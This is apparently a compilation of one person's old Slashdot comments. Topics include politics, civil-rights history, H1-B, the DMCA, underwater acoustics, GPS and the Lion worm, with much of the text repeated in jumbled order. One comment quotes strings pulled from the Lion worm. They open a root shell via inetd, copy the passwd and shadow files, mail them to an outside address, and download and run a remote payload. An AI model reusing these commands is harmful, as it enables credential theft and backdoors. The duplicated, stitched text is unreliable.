And don't forget to play the Bush Press Conference drinking game. You have to drink everytime he says "evil." By the end of the press conference your VCR and Tivo won't be the only things fucked up.
BTW, two swigs for "evil doers."
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There are disturbing reports of indiscriminant attacks, threats, and acts of intimidation against Arab Americans and Muslims in the wake of Tuesday's terrorists attacks. The American people must not allow this to continue, and must speak out against such actions.
In 1942 after the attack on Pearl Harbor, over 100 thousand people of Japanese ancestry (most were American citizens) were forcibly removed from their homes on the west coast to concentrations camps located in desolate locations. Such was the hysteria and fear at that time. This was the worst abuse of our Constitution in the history of the USA.
Robert Wilson (Nobel prize winner and 1st Director of Fermilab/FNAL) was asked at a congressional hearing whether the acelerator had any value in terms of national security. Wilson replied "...It has nothing to do directly with defending our country except to make it worth defending."
America's strength and determination is considerable. We will defend this country. However, we must make sure that it is a country worth defending.
Well, if this Code Red worm starts to affect internet bandwidth, then I know of one Supreme Court Justice that going to pissed about his slow downloads from pr0n sites.
A few yrs ago, I got asked (ordered) to put on a live demo of a high speed cross-country atm network; I knew nothing about the network. Apparently some higher level schmucks had dropped the ball, and they needed someone to show how great it was. So I called my buddy who worked at a facility at the other end of the network connection (1500 miles away), and said we had to come up with a plan. No big thing I thought.
Then someone filled me in on some details. I was to be a very small part of a much larger demo. The Assistant Secretary of Defense (#2 guy in the Pentagon), the guy in charge of DoD C4I, the general in charge of the USMC C4I, Navy Admirals, USAF Generals, etc... were going to be the guests of honor. Oh shit! Oh freakin shit! Please can I go home now? I have to change my underwear. Remember, I know nothing about this network at this time.
Well, my buddy and I scrambled to kludge up a presentation and finally (barely) had things working. Then 30 minutes before the demo, someone on the other end decides to reboot the server that we are using. We lose our network connection after the reboot and can't log on to restart our demo programs. We frantically call up people on the other end and politely ask them, WTF are you guys doing!? Eventually, someone at the other end had to log in for us, start the programs and re-establish the X11 connection. Hmmm, remote computing. Phone someone, and have them log in for you.
Eventually all went well. We had our five minutes of fame and glory. The USMC Major General told us that we were doing a great job! Then he slapped me on my back when I wasn't ready and nearly knocked me over. I looked at his assistant, and saw that he was having a very hard time suppressing a laugh.
I had a beer or two (or maybe more) when I got home.
Several recent studies demonstrating dramatic increases in the number of programmers coming to the United States from other countries have ignited controversy that mirrors the current national debate over immigration.
Critics are blaming this influx of immigrant programmers for lowered wages, declining working conditions, and an overall decrease in job opportunities for American programmers, particularly women and minorities. They have called for drastic changes to immigration laws as well as stepped-up enforcement of existing laws. Programmers who have immigrated to the U.S., among others, strenuously object to these conclusions, citing the value of immigration to the U.S. economy and to the development of the internet.
The above two paragraphs were taken from this article published in 1995. I have substituted programmers for scientists and engineers, and the words the internet for science.
In the early 1990's, the debate over H1-B was one that concerned science and engineering. At this time the Myth was that there was/would be a shortage of scientists and engineers, while in reality there was a glut/lack of jobs. H1-B was to help fill this shortage, much to the demise of U.S. born scientists. To counter the Myth, the Young Scientist Network (YSN) was established, and a certain level of activism was carried out by several young scientists.
The argument raised in this/. story (this as well as others) are old stories that are all to familiar to scientists (especially physicists). By the mid-90's, H1-B eventually became a tool to be used by the booming internet/computer industry. One can debate the merits or demerits of this program, but one should not forget to study the past.
From www.spam.com, the official SPAM website, is this piece of info
We do not object to use of this slang term to describe UCE (unsolicted commercial e-mail), although we do object to the use of our product image in association with that term. Also, if the term is to be used, it should be used in all lower-case letters to distinguish it from our trademark SPAM, which should be used with all uppercase letters.
A bit of/. history. A long time ago, IBM crack legal team told/. to stop using/. rendition of the IBM logo. This was sort of the IBM letters, skewed in a 3-D sort of way with I in front. The letters also cast a slight shadow./. mentioned this story and the flames ensued.
Fortunately, some IBM'ers actually visit this site and got this mess squared away pretty quickly. The result?/. uses the official IBM logo provided by IBM (IIRC).
See here for the resolution of this crisis. BTW, no need to Borg-ify IBM at this time
Wow! They got Tom Clancy to make modifications to his book "Executive Order." Let's see, substitute smallpox for eboli... Keep the bit about martial law... Fortunately, President Jack Ryan saves the day! You da Man! Unfortunately, what he have now is Dubya. You da Shrub!
This reminds me of an old quote made about some athlete with a rather dubious IQ. "If he was any dumber, we would have to water him."
Point of clarification. Rosa Parks was asked to give up her seat by a white person because the white only section of the bus was full; she was not sitting in the white only section of the bus at that time. She did not intentionly break the law to start a protest; she just didn't want to give up her seat. However, after her arrest, civil rights leaders (i.e., Martin Luther King) decided to use her actions as the catalyst for initiating the Montgomery bus boycott. The boycott essentially ended after the U.S. Supreme Court ruled that bus segregation was unconstitutional.
Read "Parting the Waters" by Taylor Branch.
Additionally (if you are interested), go and read up on Gordon Hirabayashi. He intentionly refused to comply with the evacuation order of people of Japanese ancestry from the West coast during WWII. He did so to challenge this order in the courts. Unfortunately, he was not vindicated until the late 1980's
Your specious comments are a poor attempt to equate four important historical cases with the current one involving the DMCA. Furthermore, you fail to fully understand nor explain the true relevance of these cases.
In the cases involving the Corvair, Silent Spring, and the Firestone tires/Ford Explorers, the corporate world did attempt to silence the whistler blower. However, their attempts failed because each involved risks (i.e., death, injury) to the general public. In each instance, Congressional hearings were conducted, and ultimately, the dangers were publicized. Furthermore, there were people in positions of power/influence who gave their support against the attempt at corporate whitewash that was made.
In your last example, the Executive branch (President, not the Pentagon) attempted to suppress the publishing of the Pentagon Papers by the NYT (and later, by the Washington Post). The issue was not the true death count in Vietnam unless you mean Vietnamese deaths; the US casuality rate was known. Remember, the Pentagon Papers detailed the U.S. strategy for this conflict, and the Executive Branch claimed that the release of this information would compromise national security.
The U.S. Supreme court then enjoined the NYT to stop publication of this information. Fortunately, the Washington Post (led by their publisher Katharine Graham) decided that they would publish in defiance of the Executive branch. Eventually, the Supreme Court ruled that prior restaint was not valid in this case, National security was not compromised, and that the government needed strong reasons before there could be a lessening of freedom of speech by the press.
Lessons to be learned: I see no big clamor for Congressional hearings, the DMCA does not involve public safety, and it's nice to have powerful friends who believe in your cause. Finally, the Supreme Court has generally ruled that the burden of proof falls on those that would like to abridge freedom of speech. The DMCA will only be around until the Supreme Court gets a chance to rule on this POS.
When the Simpsons hit the airwaves, social critics warned that this show (particularly Bart) would have a negative impact on impressionable young boys. Cynicism, lack of proper manners, and a gross indifference to authority were cited as the likely end-result.
Opponents to these critics simply responded, "Don't have a cow, Man!"
Jump forward a decade, and what do we find? Well, I believe that if those critics would just visit/. and read some of the thoughtful comments posted here, then they would realize that they were obviously, um, cough, wrong cough.
Regardless, you should have tripwire or something running anyway.
This statement is really indicative of another thing: cluelessness. Running tripwire will tell someone that they have been cracked! Close the barn door Edith, the cows just escaped!
Maybe the "or something" alludes to the real solution; don't run BIND, run an up-to-date patched version of BIND, run snort, etc... Maybe he should have said, "Patch early, patch often." But nooooo! Run tripwire.
BTW, this worm is really no different than the ramen worm; similar concept, different exploit. What has gotten the attention of sysadmins is that they are seeing a sudden surge in traffic to port 53. These sysadmins are the target audience of SANS, and the sysadmins don't like someone messing with their DNS. I believe that is why the Global Incident Analysis Center (GIAC) of SANS changed their current threat level to yellow. This comment was posted on GIAC (note TCP, not UDP to port 53).
...in the past 48 hours there has been a 1000% increase in reported attacks on DNS port 53 TCP, 45,000 reports (out of 51,000) of them coming from a single IP address 200.239.59.252.
BTW, the n.g. comp.os.linux.security had a posting about this (didn't know it was lion) back on Tuesday. In that thread, the guy that got cracked found this (using strings on the rogue program)
Your story about Edison and the electric chair is generally correct. However, Edison's main enemy in the AC/DC battle was George Westinghouse. At that time, cities were still trying to decide what type of electrical power system to deploy. IIRC, the IEEE Spectrum magazine had an article about this about 10 yrs ago (Edison and the Electric Chair).
Your story about Edison and the electric chair is generally correct. However, Edison's main enemy in the AC/DC battle was George Westinghouse. At that time, cities were trying to decide what type of electrical power system to deploy. IIRC, the IEEE Spectrum magazine had an article about this about 10 yrs ago (Edison and the Electric Chair).
One thing to note is a decibel (dB) is a relative value related to a reference intensity/pressure. The reference value differs for air and water. Additionally, one must also take into account differences in the acoustic impedance between air and water. To convert dB in air to their equivalent underwater value requires adding about 62 dB's to the air value.
Also note that sound intensity levels drop off at a rate of 20 log10(r) where r is in meters; this is for spherical spreading loss. Cylindrical spreading loss drops off as 10 log10(r). As a side note, the source level (underwater) of a compact/point source of P watts is given by 171 dB + 10 log10(P).
Finally, the loudest underwater noise source is Mother Nature (earthquakes, underwater volcanoes, and to a lesser degree, lightning strikes).
As a veteran of about a dozen research cruises, I would like to add to your comments.
1) Going out to sea is like being in prison, albeit with the extra benefit of the threat of drowning.
2) Try eating chicken ala king when the ship is rocking and rolling, and everybody is getting seasick. Actually, it is just difficult to stare a plate of chicken ala king under those conditions.
3) There is something special about taking a piss off the back deck while in the middle of the ocean.
4) I love the smell of diesel fumes in the morning.
5) You quickly find out who doesn't like to take a bath.
6) It is not good to hear your co-worker say, "Shit! That's a freakin big wave!" while working on the back deck of a boat in the cold North Atlantic.
7) It is not considered polite to chew tobacco and spit while standing next to a person who is seasick.
8) It is fun to have naive gullible newbies on a cruise. Here, hold this pole and snag the mail buoy as it floats by.
Suppose one takes a dual-frequency gps receiver in a moving object. Instead of using the information contained in the recorded data stream, use the signal (waveform) itself. Set up a fixed base station that records the same information. You'll need signals from several satellites.
Now play a bunch of tricks involving using all the recorded signals. Take for instance, the signal (lets say a sine wave) from one statellite recorded by base station (B) and the moving platform (A). The cycle sequence (e.g., sine wave 1, 2, 3,...) will be something like:
B: 0,1,2,3,4,5,6,7
A: 0,1,2,2,3,4,5,5
From this one can infer that (A) is moving faster towards in the general direction of the satellite than (B). Hmmm, this sounds like it will yield a pretty precise tool.
This is a very very simplified description of kinematic GPS, something that has been in use for about a decade.
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And don't forget to play the Bush Press Conference drinking game. You have to drink everytime he says "evil." By the end of the press conference your VCR and Tivo won't be the only things fucked up.
BTW, two swigs for "evil doers."
In 1942 after the attack on Pearl Harbor, over 100 thousand people of Japanese ancestry (most were American citizens) were forcibly removed from their homes on the west coast to concentrations camps located in desolate locations. Such was the hysteria and fear at that time. This was the worst abuse of our Constitution in the history of the USA.
Robert Wilson (Nobel prize winner and 1st Director of Fermilab/FNAL) was asked at a congressional hearing whether the acelerator had any value in terms of national security. Wilson replied "...It has nothing to do directly with defending our country except to make it worth defending."
America's strength and determination is considerable. We will defend this country. However, we must make sure that it is a country worth defending.
...It is nice to know that someone besides a politician can speak out of both sides of their mouth.
I agree, but you got the wrong orifice.
Well, if this Code Red worm starts to affect internet bandwidth, then I know of one Supreme Court Justice that going to pissed about his slow downloads from pr0n sites.
Hey, who put the pubic hair on my coke can?!
Then someone filled me in on some details. I was to be a very small part of a much larger demo. The Assistant Secretary of Defense (#2 guy in the Pentagon), the guy in charge of DoD C4I, the general in charge of the USMC C4I, Navy Admirals, USAF Generals, etc... were going to be the guests of honor. Oh shit! Oh freakin shit! Please can I go home now? I have to change my underwear. Remember, I know nothing about this network at this time.
Well, my buddy and I scrambled to kludge up a presentation and finally (barely) had things working. Then 30 minutes before the demo, someone on the other end decides to reboot the server that we are using. We lose our network connection after the reboot and can't log on to restart our demo programs. We frantically call up people on the other end and politely ask them, WTF are you guys doing!? Eventually, someone at the other end had to log in for us, start the programs and re-establish the X11 connection. Hmmm, remote computing. Phone someone, and have them log in for you.
Eventually all went well. We had our five minutes of fame and glory. The USMC Major General told us that we were doing a great job! Then he slapped me on my back when I wasn't ready and nearly knocked me over. I looked at his assistant, and saw that he was having a very hard time suppressing a laugh.
I had a beer or two (or maybe more) when I got home.
Well thank god (no pun intended) this OS isn't call goatse.
Several recent studies demonstrating dramatic increases in the number of programmers coming to the United States from other countries have ignited controversy that mirrors the current national debate over immigration.
/. story (this as well as others) are old stories that are all to familiar to scientists (especially physicists). By the mid-90's, H1-B eventually became a tool to be used by the booming internet/computer industry. One can debate the merits or demerits of this program, but one should not forget to study the past.
Critics are blaming this influx of immigrant programmers for lowered wages, declining working conditions, and an overall decrease in job opportunities for American programmers, particularly women and minorities. They have called for drastic changes to immigration laws as well as stepped-up enforcement of existing laws. Programmers who have immigrated to the U.S., among others, strenuously object to these conclusions, citing the value of immigration to the U.S. economy and to the development of the internet.
The above two paragraphs were taken from this article published in 1995. I have substituted programmers for scientists and engineers, and the words the internet for science.
In the early 1990's, the debate over H1-B was one that concerned science and engineering. At this time the Myth was that there was/would be a shortage of scientists and engineers, while in reality there was a glut/lack of jobs. H1-B was to help fill this shortage, much to the demise of U.S. born scientists. To counter the Myth, the Young Scientist Network (YSN) was established, and a certain level of activism was carried out by several young scientists.
The argument raised in this
From www.spam.com, the official SPAM website, is this piece of info
We do not object to use of this slang term to describe UCE (unsolicted commercial e-mail), although we do object to the use of our product image in association with that term. Also, if the term is to be used, it should be used in all lower-case letters to distinguish it from our trademark SPAM, which should be used with all uppercase letters.
Does this now mean that we have to beat ourselves up? This is a lot different than beating off ourselves.:)
Fortunately, some IBM'ers actually visit this site and got this mess squared away pretty quickly. The result? /. uses the official IBM logo provided by IBM (IIRC).
See here for the resolution of this crisis. BTW, no need to Borg-ify IBM at this time
This reminds me of an old quote made about some athlete with a rather dubious IQ. "If he was any dumber, we would have to water him."
Read "Parting the Waters" by Taylor Branch.
Additionally (if you are interested), go and read up on Gordon Hirabayashi. He intentionly refused to comply with the evacuation order of people of Japanese ancestry from the West coast during WWII. He did so to challenge this order in the courts. Unfortunately, he was not vindicated until the late 1980's
In the cases involving the Corvair, Silent Spring, and the Firestone tires/Ford Explorers, the corporate world did attempt to silence the whistler blower. However, their attempts failed because each involved risks (i.e., death, injury) to the general public. In each instance, Congressional hearings were conducted, and ultimately, the dangers were publicized. Furthermore, there were people in positions of power/influence who gave their support against the attempt at corporate whitewash that was made.
In your last example, the Executive branch (President, not the Pentagon) attempted to suppress the publishing of the Pentagon Papers by the NYT (and later, by the Washington Post). The issue was not the true death count in Vietnam unless you mean Vietnamese deaths; the US casuality rate was known. Remember, the Pentagon Papers detailed the U.S. strategy for this conflict, and the Executive Branch claimed that the release of this information would compromise national security.
The U.S. Supreme court then enjoined the NYT to stop publication of this information. Fortunately, the Washington Post (led by their publisher Katharine Graham) decided that they would publish in defiance of the Executive branch. Eventually, the Supreme Court ruled that prior restaint was not valid in this case, National security was not compromised, and that the government needed strong reasons before there could be a lessening of freedom of speech by the press.
Lessons to be learned: I see no big clamor for Congressional hearings, the DMCA does not involve public safety, and it's nice to have powerful friends who believe in your cause. Finally, the Supreme Court has generally ruled that the burden of proof falls on those that would like to abridge freedom of speech. The DMCA will only be around until the Supreme Court gets a chance to rule on this POS.
Opponents to these critics simply responded, "Don't have a cow, Man!"
Jump forward a decade, and what do we find? Well, I believe that if those critics would just visit /. and read some of the thoughtful comments posted here, then they would realize that they were obviously, um, cough, wrong cough.
x = 4195835
y = 3145727
z = x - (x/y)*y
Enter, listen, and end the debate.:-)
This statement is really indicative of another thing: cluelessness. Running tripwire will tell someone that they have been cracked! Close the barn door Edith, the cows just escaped!
Maybe the "or something" alludes to the real solution; don't run BIND, run an up-to-date patched version of BIND, run snort, etc... Maybe he should have said, "Patch early, patch often." But nooooo! Run tripwire.
BTW, this worm is really no different than the ramen worm; similar concept, different exploit. What has gotten the attention of sysadmins is that they are seeing a sudden surge in traffic to port 53. These sysadmins are the target audience of SANS, and the sysadmins don't like someone messing with their DNS. I believe that is why the Global Incident Analysis Center (GIAC) of SANS changed their current threat level to yellow. This comment was posted on GIAC (note TCP, not UDP to port 53).
BTW, the n.g. comp.os.linux.security had a posting about this (didn't know it was lion) back on Tuesday. In that thread, the guy that got cracked found this (using strings on the rogue program)
echo '1008 stream tcp nowait root /bin/sh sh' >> /etc/inetd.conf
/etc/passwd >> 1i0n
/etc/shadow >> 1i0n
/.bash_history
killall -HUP inetd;ifconfig -a > 1i0n
cat
cat
mail 1i0nip@china.com < 1i0n rm -fr 1i0n
rm -fr
lynx -dump http://XXXXXXXX.XX.net/crew.tgz >1i0n.tgz
tar -zxvf 1i0n.tgz
rm -fr 1i0n.tgz;cd lib
./1i0n.sh
I now know who is going to win the Darwin Award in a couple of years.
I for one am glad the the poor misunderstood ubergeek Tesla is not alive today. Otherwise he would be e-mailing stories about himself to Jon Katz.
Your story about Edison and the electric chair is generally correct. However, Edison's main enemy in the AC/DC battle was George Westinghouse. At that time, cities were still trying to decide what type of electrical power system to deploy. IIRC, the IEEE Spectrum magazine had an article about this about 10 yrs ago (Edison and the Electric Chair).
Your story about Edison and the electric chair is generally correct. However, Edison's main enemy in the AC/DC battle was George Westinghouse. At that time, cities were trying to decide what type of electrical power system to deploy. IIRC, the IEEE Spectrum magazine had an article about this about 10 yrs ago (Edison and the Electric Chair).
Also note that sound intensity levels drop off at a rate of 20 log10(r) where r is in meters; this is for spherical spreading loss. Cylindrical spreading loss drops off as 10 log10(r). As a side note, the source level (underwater) of a compact/point source of P watts is given by 171 dB + 10 log10(P).
Finally, the loudest underwater noise source is Mother Nature (earthquakes, underwater volcanoes, and to a lesser degree, lightning strikes).
1) Going out to sea is like being in prison, albeit with the extra benefit of the threat of drowning.
2) Try eating chicken ala king when the ship is rocking and rolling, and everybody is getting seasick. Actually, it is just difficult to stare a plate of chicken ala king under those conditions.
3) There is something special about taking a piss off the back deck while in the middle of the ocean.
4) I love the smell of diesel fumes in the morning.
5) You quickly find out who doesn't like to take a bath.
6) It is not good to hear your co-worker say, "Shit! That's a freakin big wave!" while working on the back deck of a boat in the cold North Atlantic.
7) It is not considered polite to chew tobacco and spit while standing next to a person who is seasick.
8) It is fun to have naive gullible newbies on a cruise. Here, hold this pole and snag the mail buoy as it floats by.
Now play a bunch of tricks involving using all the recorded signals. Take for instance, the signal (lets say a sine wave) from one statellite recorded by base station (B) and the moving platform (A). The cycle sequence (e.g., sine wave 1, 2, 3,...) will be something like:
B: 0,1,2,3,4,5,6,7
A: 0,1,2,2,3,4,5,5
From this one can infer that (A) is moving faster towards in the general direction of the satellite than (B). Hmmm, this sounds like it will yield a pretty precise tool.
This is a very very simplified description of kinematic GPS, something that has been in use for about a decade.
I believe that the pictures were taken by Peter Parker. He hasn't been the same since he got back.